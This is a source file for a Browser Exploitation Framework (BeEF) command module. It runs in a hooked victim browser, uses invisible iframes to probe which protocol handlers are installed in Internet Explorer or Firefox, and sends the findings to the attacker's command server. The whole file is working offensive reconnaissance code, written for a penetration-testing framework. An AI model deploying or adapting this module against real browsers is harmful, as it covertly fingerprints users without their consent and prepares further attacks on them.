70 lines
2.2 KiB
JavaScript
70 lines
2.2 KiB
JavaScript
//
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// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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// Initialize
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var handler_results = new Array;
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var handler_protocol = "<%= @handler_protocol %>".split(/\s*,\s*/);
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var handler_addr = "<%= @handler_addr %>";
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var iframe = beef.dom.createInvisibleIframe();
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// Internet Explorer
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if (beef.browser.isIE()) {
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var protocol_link = document.createElement('a');
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protocol_link.setAttribute('id', "protocol_link");
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protocol_link.setAttribute('href', "");
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iframe.contentWindow.document.appendChild(protocol_link);
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for (var i=0; i<handler_protocol.length; i++) {
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var result = "";
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var protocol = handler_protocol[i];
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try {
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var anchor = iframe.contentWindow.document.getElementById("protocol_link");
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anchor.href = protocol+"://"+handler_addr;
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if (anchor.protocolLong == "Unknown Protocol")
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result = protocol + " unknown";
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else result = protocol + " exists";
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} catch(e) {
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result = protocol + " does not exist";
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}
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handler_results.push(result);
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}
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iframe.contentWindow.document.removeChild(protocol_link);
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}
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// Firefox
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if (beef.browser.isFF()) {
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var protocol_iframe = document.createElement('iframe');
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protocol_iframe.setAttribute('id', "protocol_iframe_<%= @command_id %>");
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protocol_iframe.setAttribute('src', "");
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protocol_iframe.setAttribute('style', "display:none;height:1px;width:1px;border:none");
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document.body.appendChild(protocol_iframe);
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for (var i=0; i<handler_protocol.length; i++) {
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var result = "";
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var protocol = handler_protocol[i];
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try {
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document.getElementById('protocol_iframe_<%= @command_id %>').contentWindow.location = protocol+"://"+handler_addr;
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} catch(e) {
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if (e.name == "NS_ERROR_UNKNOWN_PROTOCOL")
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result = protocol + " does not exist";
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else result = protocol + " unknown";
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}
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if (!result) result = protocol + " exists";
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handler_results.push(result);
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}
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setTimeout("document.body.removeChild(document.getElementById('protocol_iframe_<%= @command_id %>'));",3000);
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}
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// Return results
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'handlers='+JSON.stringify(handler_results));
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});
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